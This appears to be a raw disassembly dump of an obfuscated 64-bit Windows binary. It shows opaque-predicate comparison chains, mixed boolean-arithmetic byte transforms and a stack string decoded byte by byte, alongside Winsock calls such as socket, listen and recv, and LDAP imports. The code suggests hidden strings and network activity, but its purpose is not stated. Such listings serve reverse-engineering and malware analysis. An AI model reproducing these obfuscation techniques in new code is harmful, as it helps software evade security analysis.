cmp rdi, rax
je 0x1402195d1
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1402195af
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14021959b
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140219579
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140219553
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1402190f3
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140219ba3
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140219b7d
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1402192f1
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1402192cb
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x1402192a8
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1402194ba
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1402194a9
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14021945b
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14021942d
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1402190f3
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140219419
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1402193f6
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1402193d4
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1402193ae
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14021938c
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14021936b
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140219349
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140219327
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140219313
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1402190f3
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x1402190f3
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x1402190e6
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140219081
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x140219010
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_26
jmp 0x140219a32
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140219a6a
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140219a90
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140219932
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x140219961
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402199cf
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140219ab8
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140219b12
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x140219562
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x840], bl
jmp 0x140219b75
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x14021944e
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140219a44
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140219505
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x140219966
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14021975f
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x140219911
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14021983e
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x140219478
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140219b66
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140219b12
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1402199a3
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1402199cf
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140219961
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14021937a
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140219a90
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140219748
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140219a42
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14021968b
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1402194db
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402196b7
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140219b66
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402196d2
movabs rdx, 0x350b794e73a31824
mov ecx, r14d
jmp 0x1402199a3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140219701
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140219961
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14021972c
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140219937
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402194db
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140219a6a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021978a
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x140219a44
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402197b4
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x140219935
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402197e3
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140219961
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14021980e
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x1402199cf
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140219517
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x140219b66
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021986a
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140219b66
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140219896
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
add bl, dl
jmp 0x140219ab8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402198b3
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1402196ea
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1402198e2
movabs rdx, 0xd2e04b1307972740
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140219a90
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140219478
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x140219a6a
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x840]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x840], cl
add rdi, r10
jmp 0x1402199cf
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x840]
add bl, dl
add bl, r8b
jmp 0x140219ab8
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14021998a
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140219b75
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x140219a90
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x140219a44
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1e
add r8b, cl
mov byte [rbp + r9 + 0x840], r8b
add r10, rsi
jmp 0x140219a90
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x140219b75
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x840], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x140219b12
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x840], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140219b66
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x840]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140218ffe
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140218ffb
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140218feb
lea rdx, [rbp + 0x15983e8]
jmp 0x140219be2
lea rdx, [rbp + 0x16dc1a6]
jmp 0x140219be2
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x1d8]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2c90]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140219c17
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2c90]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2c90]
call fcn.140266950
nop
lea rcx, [rbp + 0x2c90]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xf10], 0xe3
mov byte [rbp + 0xf11], 0xad
mov byte [rbp + 0xf12], 0xec
mov byte [rbp + 0xf13], 0xab
mov byte [rbp + 0xf14], ntohl
mov byte [rbp + 0xf15], 0xa9
mov byte [rbp + 0xf16], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xf17], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xf18], 0x3d
mov byte [rbp + 0xf19], __WSAFDIsSet
mov byte [rbp + 0xf1a], r13b
mov byte [rbp + 0xf1b], __WSAFDIsSet
mov byte [rbp + 0xf1c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf1d], __WSAFDIsSet
mov byte [rbp + 0xf1e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xf1f], 0x9f
mov byte [rbp + 0xf20], 7
mov byte [rbp + 0xf21], 0x9d
mov byte [rbp + 0xf22], 5
mov byte [rbp + 0xf23], 0x9b
mov byte [rbp + 0xf24], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf25], 0x99
mov byte [rbp + 0xf26], Ordinal_46
mov byte [rbp + 0xf27], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xf28], r12b
mov byte [rbp + 0xf29], 0x85
mov byte [rbp + 0xf2a], Ordinal_217
mov byte [rbp + 0xf2b], 0x83
mov byte [rbp + 0xf2c], 0x3d
mov byte [rbp + 0xf2d], 0x81
mov byte [rbp + 0xf2e], Ordinal_50
mov byte [rbp + 0xf2f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf30], Ordinal_46
mov byte [rbp + 0xf31], Ordinal_143
mov byte [rbp + 0xf32], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xf33], Ordinal_143
mov byte [rbp + 0xf34], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xf35], Ordinal_143
mov byte [rbp + 0xf36], 0x64
mov byte [rbp + 0xf37], 0xf7
mov byte [rbp + 0xf38], 0x5c
mov byte [rbp + 0xf39], 0xf5
mov byte [rbp + 0xf3a], 0x62
mov byte [rbp + 0xf3b], 0xf3
mov byte [rbp + 0xf3c], 0xaa
mov byte [rbp + 0xf3d], 0xf1
mov byte [rbp + 0xf3e], 0xa2
mov byte [rbp + 0xf3f], 0xff
mov byte [rbp + 0xf40], 0xae
mov byte [rbp + 0xf41], 0xfd
mov byte [rbp + 0xf42], 0x57
mov byte [rbp + 0xf43], 0xfb
mov byte [rbp + 0xf44], 0x60
mov byte [rbp + 0xf45], 0xf9
mov byte [rbp + 0xf46], Ordinal_79
mov byte [rbp + 0xf47], 0xe7
mov byte [rbp + 0xf48], 0xb6
mov byte [rbp + 0xf49], 0xe5
mov byte [rbp + 0xf4a], 0x77
mov byte [rbp + 0xf4b], 0xe3
mov byte [rbp + 0xf4c], 0x7d
mov byte [rbp + 0xf4d], 0xe1
mov byte [rbp + 0xf4e], 0x47
mov byte [rbp + 0xf4f], 0xef
mov byte [rbp + 0xf50], 0xec
mov byte [rbp + 0xf51], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf52], xmm0
mov qword [rbp + 0xf62], rax
mov byte [rbp + 0xf6a], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14021aa00
movzx r8d, byte [rbp + r9 + 0xf10]
mov r11, r8
cmp rdi, r9
ja 0x14021a9f7
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140219e9e
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x140219ed8
je 0x14021a971
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021a8e4
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14021a8ae
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14021a864
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14021a83b
cmp r10, r9
ja 0x14021a9ee
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x140219efe
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14021a0e5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14021a7f7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021a7d7
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14021a7b4
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14021a791
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14021a47c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14021a45b
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14021a435
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14021a412
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14021a3f1
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14021a3dd
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14021a3ba
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021a396
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14021a375
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14021a361
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140219f3f
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14021a9cb
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14021a9a5
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14021a11f
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14021a0fc
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14021a0d6
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14021a306
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14021a2ac
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14021a25f
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14021a23d
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14021a21b
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14021a207
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14021a1e5
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14021a1bf
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14021a19d
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14021a189
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14021a167
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14021a145
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140219f3f
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x140219f3f
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140219f32
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140219ed8
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140219e67
movabs rcx, 0x3079ddf1a6964910
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14021a815
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14021a859
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14021a5d4
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x14021a882
movabs rdx, 0x5eedf7f25582f040
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021a8cf
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14021a8d2
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
jmp 0x14021a3a5
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14021a93a
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14021a98e
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x14021a72c
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x14021a815
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x14021a739
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14021a672
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14021a27d
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x14021a767
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14021a58d
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14021a2cd
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14021a4c3
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14021a7ad
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14021a63b
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14021a8d2
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14021a8bd
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14021a880
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14021a85c
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021a859
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x14021a813
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14021a4ab
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021a324
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021a4da
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021a98e
cmp rdi, rcx
jne 0x14021a505
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021a908
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021a52f
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14021a75d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14021a55a
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14021a85c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14021a324
movabs rdx, 0xbad349fb37876db0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021a859
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021a5bc
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021a815
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021a5eb
